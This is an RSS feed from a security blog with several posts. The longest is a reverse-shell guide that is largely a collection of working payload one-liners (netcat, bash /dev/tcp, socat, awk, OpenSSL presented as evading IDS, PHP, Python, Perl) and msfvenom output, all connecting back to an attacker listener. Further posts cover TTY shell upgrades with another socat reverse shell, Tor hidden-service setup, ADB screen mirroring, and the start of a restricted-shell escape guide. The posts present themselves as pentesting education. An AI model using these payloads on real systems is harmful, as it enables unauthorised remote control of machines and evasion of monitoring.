<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[MetaHackers]]></title><description><![CDATA[Security thoughts, tutorials and programming.]]></description><link>https://www.metahackers.pro/</link><image><url>https://www.metahackers.pro/favicon.png</url><title>MetaHackers</title><link>https://www.metahackers.pro/</link></image><generator>Ghost 4.32</generator><lastBuildDate>Fri, 01 Jul 2022 03:03:42 GMT</lastBuildDate><atom:link href="/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Complete guide to Reverse Shells]]></title><description><![CDATA[Quick guides on connect back shells for beginners to performing exploitation and pentesting. Popular reverse shell oneliner payloads collections.]]></description><link>https://www.metahackers.pro/reverse-shells-101/</link><guid isPermaLink="false">5c9c9680670dc4577341e182</guid><category><![CDATA[exploit]]></category><category><![CDATA[post-exploit]]></category><dc:creator><![CDATA[Hazmirul Afiq]]></dc:creator><pubDate>Sat, 24 Aug 2019 13:35:46 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1515535029542-3786e9028c6d?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://images.unsplash.com/photo-1515535029542-3786e9028c6d?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" alt="Complete guide to Reverse Shells"><p>Hello and welcome again! In this post I&apos;d love to share to you my small knowledge on reverse shells specifically on linux target. I&apos;m not here to talking about exploitation techniques or shellcoding. If you intersted to know, I&apos;ll make other post specifically on the particular topics.</p>
<p>This post I made my best to be easy to understand for beginners. These also requires you to understand networking client/server model. These process are just like a very basic client server model where there is a listener (server) where it listen on incoming connections and the client where it perform a connection to the server.</p>
<h2 id="whatisreverseshell">What is reverse shell?</h2>
<p>Reverse shell or often called connect-back shell is remote shell introduced from the target by connecting back to the attacker machine and spawning target shell on the attacker machine. This usually used during exploitation process to gain control of the remote machine.</p>
<h2 id="whentousereverseshell">When to use reverse shell?</h2>
<p>Reverse shell usually used when the target machine is blocking incoming connection from certain port by active firewall. To bypass this firewall restriction, people use reverse shell so that let the remote target connect back to us and spawning their shell instead of we connect to them and they spawn their shell to us (bind shell).</p>
<h3 id="caveats">Caveats:</h3>
<p>This exposes the control server of the attacker and traces might pickup by network security monitoring services of target network.</p>
<p>Some mitigation might helps bypassing those neglect and/or makes certain programs/investigation harder to traces back to control server. Interested? read more here.</p>
<p>In this post, I&apos;ll be sharing a simple way for understanding purposes and showing you more my reverse shell code collection.</p>
<h2 id="gettingreverseshell">Getting reverse shell</h2>
<p>Usually when attacker successfully exploiting target with code execution, we usually want to take the channel and operate post exploitation under a shell terminal as it much easier.</p>
<p>There are three steps in order to get a reverse shell.</p>
<ol>
<li>Exploiting a vulnerability on target system/network with the ability to perform a code execution.</li>
<li>Setting up a listener.</li>
<li>Injecting reverse shell code on vulnerable system to exploit the vulnerabilty.</li>
</ol>
<p>There are plenty ways/payload to get a reverse shell, the simplest that I like to use is by using netcat command but first, read through the pages carefully.</p>
<h2 id="1exploitingavulnerability">1. Exploiting a vulnerability</h2>
<p>This step I won&apos;t tell you much in this post but the idea is to find a vulnerability that can be leverage to perform a code execution. Once you find the code execution vulnerability, then is only you can leverage the exploit and gain a shell in this case a reverse shell.</p>
<p>In my list of reverse shell payloads below, there are many difference use cases for each payloads, the reasons are because of different platform understand its own &quot;language&quot;, runs on its own &quot;platform&quot; and &quot;architecture&quot; etcetra.</p>
<p>For example, a vulnerable PHP application that runs on Linux server are only going to work with PHP payloads not python or jsp.</p>
<p>The payloads are also runs on a context of the application vulnerability. For example, PHP application that runs on a linux server has a command injection vulnerability. Depending on the server behavior, a linux command injection reverse shell payload might be doable in most cases.</p>
<h2 id="2settingupalistener">2. Setting up a listener</h2>
<blockquote>
<p>First, always set up your listener!</p>
</blockquote>
<p>First you need to set up listener <strong>on your attacking machine</strong> to be able the victim connect back to you and spawning their shell.</p>
<p>Note: About choosing a listener port, well yes it can be anything as long as the port is not blocked by their outgoing firewall. Some server block all outgoing port except 80 or 443 so that the server can make a web request. Thus, you need to set a listener on allowed outgoing port. Further investigation required to avoid any suspicious activity on target network.</p>
<p>In this example, the victim allow outgoing port on any port (default iptables firewall rule). So we use <code>4444</code> as a listener port. Change it to your preferable port you like. Listener could be any program/utility that can open TCP/UDP connections or sockets. In our case I would like to use <code>nc</code> or netcat utility.</p>
<pre><code class="language-bash">$ nc -lvp 4444
</code></pre>
<p>This command tells netcat to <code>-l</code> listen with <code>-v</code> verbose output on <code>-p</code> port 4444 on every interface. Through out this post, I&apos;ll make a placeholder <code>&lt;LHOST&gt;</code> which refers to your attacking machine IP and <code>&lt;LPORT&gt;</code> refers to your listener port. Replace it with yours respectively.</p>
<h2 id="3connectbacksystemshelltoyourlistener">3. Connect back system shell to your listener</h2>
<p>And on the target server where the code execution lies, you need to run a connect back system command to your attacking machine. As example, I use netcat command and execute <code>/bin/sh</code>.</p>
<p>Note: This is a simple example where the target is a linux machine and gets system code execution. And also has the command <code>nc</code> with <code>-e</code> support (usually have on older system).</p>
<p>This can be done using the following commands:</p>
<pre><code class="language-bash">$ nc -e /bin/sh 192.168.1.10 4444
</code></pre>
<p>Where <code>192.168.1.10</code> is your attacking IP and <code>4444</code> is your listening port. After a few seconds, you should get victim shell on your terminal where you listen.</p>
<pre><code class="language-bash">nc -lvp 4444
Listening on [0.0.0.0] (family 2, port 4444)
Connection from victimip 39540 received!
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ 
</code></pre>
<p>To testing on your own without the vulnerable application, you can just run the command on your linux box with the LHOST would be 127.0.0.1 and another terminal would be your listener.</p>
<h2 id="otherreverseshellpayloads">Other reverse shell payloads</h2>
<p><strong>1. Using <code>socat</code> to get a reverse shell.</strong><br>
Socat is also a popular utility/program other than netcat but usually not installed by default on most linux servers. If the target server has socat installed, you can use the following commands and get a tty shell directly without needing to upgrade it.<br>
Listener:</p>
<pre><code class="language-bash">socat -,raw,echo=0 tcp-listen:&lt;LPORT&gt;
</code></pre>
<p>victim:</p>
<pre><code class="language-bash">socat tcp:&lt;LHOST&gt;:&lt;LPORT&gt; exec:&quot;bash -i&quot;,pty,stderr,setsid,sigint,sane
</code></pre>
<p><strong>2. Creates a semi-interactive shell via GNU AWK.</strong><br>
This spawn /bin/sh and creates two way communication stdin and stdout and close socket on CTRL+C or exit. This does not support stderr. If stderr, it will seen on victim.</p>
<pre><code class="language-bash">awk &apos;BEGIN{s=&quot;/inet/tcp/0/&lt;LHOST&gt;/&lt;LPORT&gt;&quot;;while(1){if((s|&amp;getline c)&lt;0||c==&quot;exit&quot;)break;while(c&amp;&amp;(c|&amp;getline)&gt;0)print$0|&amp;s;close(c)}}&apos;
</code></pre>
<p><strong>3. Creates a semi-interactive shell via bash&apos;s builtin /dev/tcp.</strong><br>
This will not work on circa 2009 and older Debian-based Linux distributions (including Ubuntu) because they compile bash without the /dev/tcp feature.</p>
<pre><code class="language-bash">bash -c &apos;0&lt;&amp;60-;exec 60&lt;&gt;/dev/tcp/&lt;LHOST&gt;/&lt;LPORT&gt;;sh &lt;&amp;60 &gt;&amp;60 2&gt;&amp;60&apos; 2&gt; /dev/null
</code></pre>
<p>Another bash reverse shell.</p>
<pre><code class="language-bash">bash -c &apos;sh -i &gt;&amp; /dev/tcp/&lt;LHOST&gt;/&lt;LPORT&gt; 0&gt;&amp;1&apos;
</code></pre>
<p><strong>4. Creates a semi-interactive shell via netcat</strong><br>
Newer linux machine by default has traditional netcat with GAPING_SECURITY_HOLE disabled. When the GAPING_SECURITY_HOLE is disabled, it means you don&apos;t have the &apos;-e&apos; option of netcat, which will execute specified command after a connection has been established.</p>
<p>Well this just isn&apos;t necessary. The following tricks creates a FIFO named pipes file system object and use it as a backpipe stdin for the netcat command while the pipes relay stdout and stderr from /bin/sh command. This is <strong>beautiful</strong>! Then the <code>rm</code> command will remove the named pipe automatically when the connection is terminated.</p>
<pre><code class="language-bash">mkfifo /tmp/p; nc &lt;LHOST&gt; &lt;LPORT&gt; 0&lt;/tmp/p | /bin/sh &gt; /tmp/p 2&gt;&amp;1; rm /tmp/p
</code></pre>
<p>Below payloads are also same but with using mknod to make the FIFO named pipe. Both telnet and netcat works well in this case.</p>
<pre><code class="language-bash">mknod /tmp/b p &amp;&amp; nc &lt;LHOST&gt; &lt;LPORT&gt; 0&lt;/tmp/b | /bin/sh &gt; /tmp/b 2&gt;&amp;1;rm /tmp/b
</code></pre>
<pre><code class="language-bash">mknod /tmp/j p &amp;&amp; telnet &lt;LHOST&gt; &lt;LPORT&gt; 0&lt;/tmp/j | /bin/sh &gt; /tmp/j 2&gt;&amp;1;rm /tmp/j
</code></pre>
<p>Old netcat with <code>-e</code> enabled allows direct command execution after establishing sockets. The command must be specified as a full pathname.</p>
<pre><code class="language-bash">nc -e /bin/sh &lt;LHOST&gt; &lt;LPORT&gt;
</code></pre>
<p><strong>5. Creates a semi-interactive shell via openssl</strong><br>
Encrypted reverse shell connection might help manual/automatic detection by a network security monitoring tools on the target network harder and sometimes could even bypass the IDS.</p>
<p>In order to use SSL in your reverse shell, first you need to generate a SSL certificate for the tunnel.<br>
Generate SSL certificate:</p>
<pre><code class="language-bash">openssl req -x509 -quiet -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
</code></pre>
<p>Start SSL listener using openssl utility.</p>
<pre><code class="language-bash">openssl s_server -quiet -key key.pem -cert cert.pem -port &lt;LPORT&gt;
</code></pre>
<p>Run the payload on victim using openssl client.</p>
<pre><code class="language-bash">mkfifo /tmp/s; /bin/sh -i &lt; /tmp/s 2&gt;&amp;1 | openssl s_client -quiet -connect &lt;LHOST&gt;:&lt;LPORT&gt; &gt; /tmp/s 2&gt; /dev/null; rm /tmp/s
</code></pre>
<p><strong>6. PHP reverse shell</strong><br>
Simple PHP reverse shell that use <code>exec()</code> function to execute system command. If exec() function is disabled. You can try other PHP function that can execute system command such as <code>system()</code>.</p>
<pre><code class="language-bash">php -r &apos;$sock=fsockopen(&quot;&lt;LHOST&gt;&quot;,&lt;LPORT&gt;);exec(&quot;/bin/sh -i &lt;&amp;3 &gt;&amp;3 2&gt;&amp;3&quot;);&apos;
</code></pre>
<p><strong>7. Python Reverse shell</strong><br>
Creates a semi-interactive shell using python.</p>
<pre><code class="language-bash">python -c &apos;import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((&quot;&lt;LHOST&gt;&quot;,&lt;LPORT&gt;));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([&quot;/bin/sh&quot;,&quot;-i&quot;]);&apos;
</code></pre>
<p><strong>8. Perl Rev shell</strong><br>
Creates a semi-interactive shell using perl.</p>
<pre><code class="language-bash">perl -e &apos;use Socket;$i=&quot;&lt;LHOST&gt;&quot;;$p=&lt;LPORT&gt;;socket(S,PF_INET,SOCK_STREAM,getprotobyname(&quot;tcp&quot;));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,&quot;&gt;&amp;S&quot;);open(STDOUT,&quot;&gt;&amp;S&quot;);open(STDERR,&quot;&gt;&amp;S&quot;);exec(&quot;/bin/sh -i&quot;);};&apos;
</code></pre>
<h2 id="buildinkalilinuxwebshells">Build in Kali Linux web shells</h2>
<p>Kali Linux has common webshells you can use without finding online in <code>/usr/share/webshells</code>. Select appropriate webshell based on your target platform, modify the LHOST and LPORT and upload it on the target system.</p>
<pre><code class="language-bash">$ ls /usr/share/webshells
</code></pre>
<h2 id="advancegeneratecustomreverseshellusingmsfvenomfrommetasploit">Advance: Generate custom reverse shell using msfvenom from Metasploit</h2>
<p>Most of the reverse shell you see here you can also get it within Metasploit msfvenom &#x1F61B;. Thus eliminate the needed to searching reverse shell payload online.</p>
<p>List available payloads</p>
<pre><code class="language-bash">msfvenom -l payloads | grep &quot;cmd/unix/reverse&quot;
</code></pre>
<p>Any of these payloads can be used with msfvenom to spit out the raw command needed (specifying LHOST, LPORT or RPORT). For example, here&apos;s a netcat command not requiring the -e flag:</p>
<p>Generate shell via msfvenom</p>
<pre><code class="language-bash">$ msfvenom -p cmd/unix/reverse_netcat LHOST=192.168.1.112 LPORT=4545 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 103 bytes
mkfifo /tmp/zcjvnno; nc 192.168.1.112 4545 0&lt;/tmp/zcjvnno | /bin/sh &gt;/tmp/zcjvnno 2&gt;&amp;1; rm /tmp/zcjvnno
</code></pre>
<p>And here&apos;s an example Perl oneliner in case netcat isn&apos;t installed:</p>
<pre><code class="language-bash">$ msfvenom -p cmd/unix/reverse_perl LHOST=192.168.1.112 LPORT=4545 -f raw
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 232 bytes
perl -MIO -e &apos;$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,&quot;192.168.1.112:4545&quot;);STDIN-&gt;fdopen($c,r);$~-&gt;fdopen($c,w);while(&lt;&gt;){if($_=~ /(.*)/){system $1;}};&apos;
</code></pre>
<br>
<h2 id="nextlevel">Next level!</h2>
<p>Congratulation on having a reverse shell on your target. Next step that I would recommend is to <a href="/spawing-tty-shells/">spawning a real tty shell</a> to complete control over your shell session.</p>
<p>How do you think my post here? Let me know down in the comment section below and If you have any question, or something unclear don&apos;t hesitate to ping me in the comment. Good luck and stay ethical.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Setup TOR Hidden Service and .onion link Customization]]></title><description><![CDATA[In this short guide, I'll teach you how to setup you own Tor hidden service with custom .onion url. Setup "dark web" sites using Tor.]]></description><link>https://www.metahackers.pro/setup-tor-hidden-services/</link><guid isPermaLink="false">5aba999142c8341e161fac73</guid><category><![CDATA[tor]]></category><category><![CDATA[Network]]></category><dc:creator><![CDATA[Hazmirul Afiq]]></dc:creator><pubDate>Tue, 30 Apr 2019 17:22:06 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1507633698035-8e4bd1573e09?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://images.unsplash.com/photo-1507633698035-8e4bd1573e09?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" alt="Setup TOR Hidden Service and .onion link Customization"><p>Hello guys, in this post we will take a look overview about Tor network and learn how to setup your own hidden service(s) from scratch where we also install nginx as prefered web server. If you already has a website running, skip installing nginx, and skip the web server configuration.</p>
<h2 id="whatistor">What is Tor</h2>
<p>Tor or The Onion Routing is a network that has multiple transport encryption that bounce through multiple anonymous relay to your request server. This enchance the anonymity of the user when browsing using Tor.</p>
<h2 id="whatabouttorhiddenservice">What about Tor Hidden Service?</h2>
<p>Tor hidden service or most people called &quot;darkweb&quot; or &quot;darknet&quot; or what ever they called it is a web services that serves within the tor network and has <code>.onion</code> extension tld. This URL can only be connected within the tor network itself.</p>
<h2 id="prerequisite">Prerequisite</h2>
<p>You&apos;ll need a web server to host your dark web hidden service. If you don&apos;t have a web server, consider using my <a href="https://m.do.co/c/2fc7bbf49de2">referral link</a> DigitalOcean. Sign up using that link will grant you 50$ free credit on sign up which can be use for 30 days for free. Enjoy!</p>
<h2 id="setup">Setup</h2>
<ol>
<li>Go to your remote server, and install nginx and tor packages.</li>
</ol>
<pre><code class="language-bash">$ sudo apt install tor nginx -y
</code></pre>
<h3 id="1settingupnginx">1. Setting up Nginx</h3>
<p>Nginx enabled site configuration file available at <code>/etc/nginx/sites-enabled/*.conf</code> . Whatever config in this folder will be included in nginx.conf.</p>
<p>What is important in this nginx configuration is that to make sure your website is on the right web root (e.g. `/var/www/html/index.html), and the listing port is correct. If you can access the webpage on your browser. you&apos;re good to go.</p>
<p>If you have an web application running on different port (not nginx service) this is also fine, you can just use Tor to redirect the traffic to your local listening service port.</p>
<h3 id="2settinguptor">2. Setting up Tor</h3>
<ol>
<li>Edit the <code>torrc</code> configs</li>
</ol>
<pre><code class="language-bash">$ sudo nano /etc/tor/torrc
</code></pre>
<ol start="2">
<li>Find the section where it says &quot;This section is just for location-hidden services&quot;. We are going to edit some configs to enable the hidden service.</li>
</ol>
<p>Uncomment both these:</p>
<pre><code>HiddenServiceDir /var/lib/tor/hidden_service/
HiddenServicePort 80 127.0.0.1:80
</code></pre>
<p>The <code>HiddenServiceDir</code> is where your hidden service (your website) located. The <code>HiddenServicePort</code> is where the connection from outsite connects to your hidden service through port 80 and specify the address to your web by changing the <code>127.0.0.1:80</code> with <code>[localhost]:[your-webserver-listener-port]</code></p>
<p>HiddenServicePort x y:z says to redirect requests on port x to the<br>
address y:z.</p>
<p>Change the config to:</p>
<pre><code>HiddenServiceDir /var/lib/tor/[hidden-service-name]/
HiddenServicePort 80 127.0.0.1:80
</code></pre>
<p>The hidden service name can be anything such as &quot;myblog&quot; or whatever.</p>
<p>If you have another hidden services just uncomment below config to enable another hidden service. Note that the listening port should be different with other hidden services to avoid conflict.</p>
<p>Once you restart the service, the folder of the hidden service will be created for you.</p>
<pre><code class="language-bash">$ sudo systemctl restart tor.service
</code></pre>
<ol start="3">
<li>
<p>Your hidden service is now running. To get the .onion link, go to `/var/lib/tor/[your-hidden-service]&apos; and you&apos;ll find two files within this directory.</p>
</li>
<li>
<p>The <code>hostname</code> is your .onion link where you should tell everyone to visit your hidden service. If you wish to edit the hostname, don&apos;t edit the name directly as it linked to the private key. However there is a way to get your prefered onion name and will discuss in the next section.</p>
</li>
<li>
<p>The <code>private_key</code> is important. If you plan to keep the hidden service for a long run, you should keep it safe somewhere else.</p>
</li>
</ol>
<h2 id="getcustomonionurl">Get custom .onion url</h2>
<p>To get custom .onion link, you will need to use a tool such as <a href="https://github.com/lachesis/scallion">scallion</a>, <a href="https://github.com/katmagic/Shallot">shallot</a> or <a href="https://github.com/ReclaimYourPrivacy/eschalot">eschalot</a> These tool can help make .onion link customization by brute forcing hash until meet your specified regex.</p>
<h2 id="testing">Testing</h2>
<p>To test your new hidden service, start your web server and tor service. On your host, connect to Tor network. and browse to the onion url see if you get the page of your website.</p>
<p>If you have any question, please let me know down in the comment section below. Thank you. Hopefully this short guide helps you successfully build your own hidden service.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Mirror Android Screen with ADB connection wirelessly]]></title><description><![CDATA[<!--kg-card-begin: markdown--><p>Most of the time, when developer need to showcase their android apps, or mirroring their Android phone onto a screen, they usually use third party apps to do that. Did you know that you can mirror your android phone in your linux desktop through wireless ADB without relying on any</p>]]></description><link>https://www.metahackers.pro/adb-mirror-android-screen-wirelessly/</link><guid isPermaLink="false">5c9e9668670dc4577341e34a</guid><category><![CDATA[android]]></category><dc:creator><![CDATA[Hazmirul Afiq]]></dc:creator><pubDate>Mon, 22 Apr 2019 14:26:41 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1457305237443-44c3d5a30b89?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://images.unsplash.com/photo-1457305237443-44c3d5a30b89?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" alt="Mirror Android Screen with ADB connection wirelessly"><p>Most of the time, when developer need to showcase their android apps, or mirroring their Android phone onto a screen, they usually use third party apps to do that. Did you know that you can mirror your android phone in your linux desktop through wireless ADB without relying on any third party application? Well in this post, I&apos;ll tell you how you can do that &#x1F609;.</p>
<p>Generally, third party application done it the best. However, in cases some of you might looking for an &apos;old-school&apos; method, this could achive by connecting your android phone through adb wirelessly and pipe it through ffmpeg for image rendering.</p>
<h3 id="step1installrequirements">Step 1: Install requirements</h3>
<p>Make sure to download appropriate tools before started.</p>
<pre class="command-line language-bash" data-user="user" data-host="localhost"><code>sudo apt install android-tools-adb ffmpeg</code></pre>
<h3 id="step2starttheadbserver">Step 2: Start the adb server</h3>
<p>On your terminal, start the adb server.</p>
<pre class="command-line language-bash" data-user="user" data-host="localhost" data-output="2-3"><code>adb start-server
* daemon not running; starting now at tcp:5037
* daemon started successfully</code></pre>
<h3 id="step3restarttheadbdaemontolistenonport">Step 3: Restart the adb daemon to listen on port</h3>
<p>Connect your phone with same wifi and enable usb debugging adb over wifi.</p>
<p><strong>If</strong> your android doesn&apos;t have adb over wifi feature, connect your phone to your pc wired and enable usb debugging on your Android phone. Run this command on your PC to check the connection of the ADB. A prompt on your Android phone might appears if you never done this before. Just accept the fingerprint.</p>
<pre class="command-line language-bash" data-user="user" data-host="localhost" data-output="2-3"><code>adb devices
List of devices attached
b68bfcf9cbd8c2fe device</code></pre>
<p>And execute this command to enable adb over network. The port can be anything. In this case, I do 5555 (by default). So what this command does is restarting your Android phone adbd daemon to listen on TCP on the specified port.</p>
<pre class="command-line language-bash" data-user="user" data-host="localhost"><code>adb tcpip 5555</code></pre>
<p>Now you can pull off the cable.</p>
<h3 id="step4connectadbtoyourandroidoverthewifi">Step 4: Connect adb to your Android over the wifi</h3>
<p>Check your Android IP on the network setting (or sometimes on About phone -&gt; status -&gt; IP address). And with the IP in mind, execute the following command on your pc to make a connection to the device via TCP/IP. Port 5555 is used by default if no port number is specified.</p>
<pre class="command-line language-bash" data-user="user" data-host="localhost" data-output="2,4-5"><code>adb connect 192.168.1.12:5555
connected to 192.168.1.12:5555
adb devices
List of devices attached
192.168.1.12:5555	device</code></pre>
<p>Now you can perform any adb command wirelessly.</p>
<h3 id="step5themagichappens">Step 5: The Magic happens</h3>
<p>The Mirror magic. Run the following command and piped the output to ffplay to render the image.</p>
<p><a href="https://developer.android.com/studio/command-line/adb#screenrecord">Here</a>, you can read more about screenrecord features introduce in Android.</p>
<pre class="command-line language-bash" data-user="user" data-host="localhost"><code>adb shell screenrecord --output-format=h264 - | ffplay -</code></pre>
<p>Enjoy your Android screen mirror using the &quot;old-school&quot; method.</p>
<h2 id="somedrawbacks">Some drawbacks..</h2>
<ul>
<li>On busy wifi, speed or screen latency might lagging.</li>
<li>You cannot interact with the Android using this method.</li>
<li>No sound will capture.</li>
</ul>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Spawing real TTY shells]]></title><description><![CDATA[I compiled a few methods that usually use to upgrade current non-interactive shell session to more reliable TTY shell during pentesting for our references. ]]></description><link>https://www.metahackers.pro/spawing-tty-shells/</link><guid isPermaLink="false">5c9c869f670dc4577341e178</guid><category><![CDATA[post-exploit]]></category><dc:creator><![CDATA[Hazmirul Afiq]]></dc:creator><pubDate>Mon, 15 Apr 2019 15:20:10 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1503024572063-b3c621a2d424?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://images.unsplash.com/photo-1503024572063-b3c621a2d424?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" alt="Spawing real TTY shells"><p>Most of the time when we pentesting (as an example) a web application and you upload a <a href="/reverse-shells-101/">reverse</a> or <a href>bind shells</a>, the shell that you get is own by the user of the running service, www-data or similar. These users are not meant to have a shell as they don&apos;t interact with the system has humans do.</p>
<p>The problem with non-tty-shell (and non-interactive shell) is there are certain commands and stuff that you can&apos;t do particularly ones that require pagination (less, vi) or that require additional input (su, sudo, passwd).</p>
<pre><code class="language-bash">$ tty
  not a tty
</code></pre>
<p>Anyways, if you manage to get these shells (congratulation! &#x1F389;), you can upgrade it to a tty-shell for further post exploitaion using the following methods.</p>
<h2 id="1usingpython">1. Using python</h2>
<p>This method is the most popular method spawning a tty shell. This requires the target server to have python (or python3) installed. Keep in mind to spawn <code>/bin/bash</code> instead of <code>/bin/sh</code>.</p>
<pre><code class="language-bash">$ python -c &quot;import pty;pty.spawn(&apos;/bin/bash&apos;)&quot;
</code></pre>
<h2 id="2usingexpect">2. Using expect</h2>
<p>Not all server have <code>expect</code> installed by default, however if you&apos;re lucky enough, you can use this command to spawn a tty shell.</p>
<pre><code class="language-bash">$ expect -v
  expect version 5.45.4
  
$ cat &gt; /tmp/shell.sh &lt;&lt;EOF
#!/usr/bin/expect
spawn bash
interact
EOF

$ chmod u+x /tmp/shell.sh
$ /tmp/shell.sh
</code></pre>
<h2 id="3usingsocat">3. Using socat</h2>
<p>Socat is like netcat on steroids and is a very powerfull networking swiss-army knife. Socat can be used to pass full TTY&apos;s over TCP connections.</p>
<p>Again, not every server has <code>socat</code> installed (not installed by default). You could try to compile the binary itself or download a socat static binary.</p>
<p><a href="https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat">https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/socat</a><br>
<a href="https://github.com/aledbf/socat-static-binary/releases">https://github.com/aledbf/socat-static-binary/releases</a></p>
<p>Anyway in this example, we are going to use socat to spawn another reverse shell with tty support. If you looking for bind shell instead, see in this <a href>post</a>.</p>
<p>On the attacker machine, set up socat listener: replace 4444 with your listning port.</p>
<pre class="command-line language-bash" data-user="attacker" data-host="kali"><code>socat -,raw,echo=0 tcp-listen:4444</code></pre>
<p>On the victim machine, connect back the attacker machine and spawn a shell. Replace <code>&lt;host&gt;</code> with attacker IP and <code>&lt;port&gt;</code> with attacker listing port.</p>
<pre><code class="language-bash">$ socat exec:&quot;/bin/bash -li&quot;,pty,stderr,setsid,sigint,sane tcp:&lt;host&gt;:&lt;port&gt;
</code></pre>
<h2 id="checktheiftheshellistty">Check the if the shell is tty.</h2>
<p>To check if the shell is a tty shell, simply enter <code>tty</code> command like below.</p>
<pre><code class="language-bash">$ tty
/dev/pts/0
</code></pre>
<h2 id="takingitfurther">Taking it further!</h2>
<p>Once you manage to upgrade to tty shell, you still have a limited shell (not fully interactive). You won&apos;t be able to use tab-completion and arrow keys. This is really frustrating and it can be more risky if an execution gets stuck, you can&apos;t use <code>ctrl+c</code> or <code>ctrl+z</code> without killing your session. Follow my next tutorial <a href="/upgrade-shell-to-fully-interactive-tty-shell/">here</a> on how you can upgrade the shell to fully interactive shell.</p>
<!--kg-card-end: markdown-->]]></content:encoded></item><item><title><![CDATA[Escaping Restricted Shell rbash]]></title><description><![CDATA[A curated techniques on escaping restricted shell environment rbash and spawning a shell within the rbash or from built-in Linux binaries.]]></description><link>https://www.metahackers.pro/breakout-of-restricted-shell/</link><guid isPermaLink="false">5af30fcf0565d94f258e979a</guid><category><![CDATA[post-exploit]]></category><dc:creator><![CDATA[Hazmirul Afiq]]></dc:creator><pubDate>Sun, 07 Apr 2019 17:06:56 GMT</pubDate><media:content url="https://images.unsplash.com/photo-1533792419559-6d41ef666ba1?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" medium="image"/><content:encoded><![CDATA[<!--kg-card-begin: markdown--><img src="https://images.unsplash.com/photo-1533792419559-6d41ef666ba1?ixlib=rb-1.2.1&amp;q=80&amp;fm=jpg&amp;crop=entropy&amp;cs=tinysrgb&amp;w=1080&amp;fit=max&amp;ixid=eyJhcHBfaWQiOjExNzczfQ" alt="Escaping Restricted Shell rbash"><p>If you ever encounter with restricted shell environment (such as in CTF), this can be bypass using some of the following method. Before we get into how to bypass it, you need to identify if you&apos;re in restricted shell.</p>
<p>The simplest way to check if the user is in a restricted shell is by echo <code>$SHELL</code> variable.</p>
<pre class="command-line language-bash" data-user="ctf" data-host="remotehost" data-output="2"><code>echo $SHELL
/bin/rbash</code></pre>
<p>You&apos;re in restricted shell if the results is like <code>/bin/rbash</code> and you cannot perform some basic redirections, pipes or even having a forward slash in your commands.</p>
<pre><code class="language-bash">$ echo &quot;breakout rbash\!&quot; &gt; /tmp/test
rbash: /tmp/test: restricted: cannot redirect output
</code></pre>
<h3 id="1callingoutbashasinteractive">1. Calling out bash as &quot;interactive&quot;.</h3>
<p>Check your <code>$PATH</code>. If <code>/bin</code> is in your $PATH, then you&apos;re lucky. Note: even with <code>-i</code>, the shell is not fully interactive. Find out <a href="#takingitfurther">here</a> on how to upgrade to fully interactive shell.</p>
<pre><code class="language-bash">$ /bin/bash -i
rbash: /bin/bash: restricted: cannot specify `/&apos; in command names
$ echo $PATH
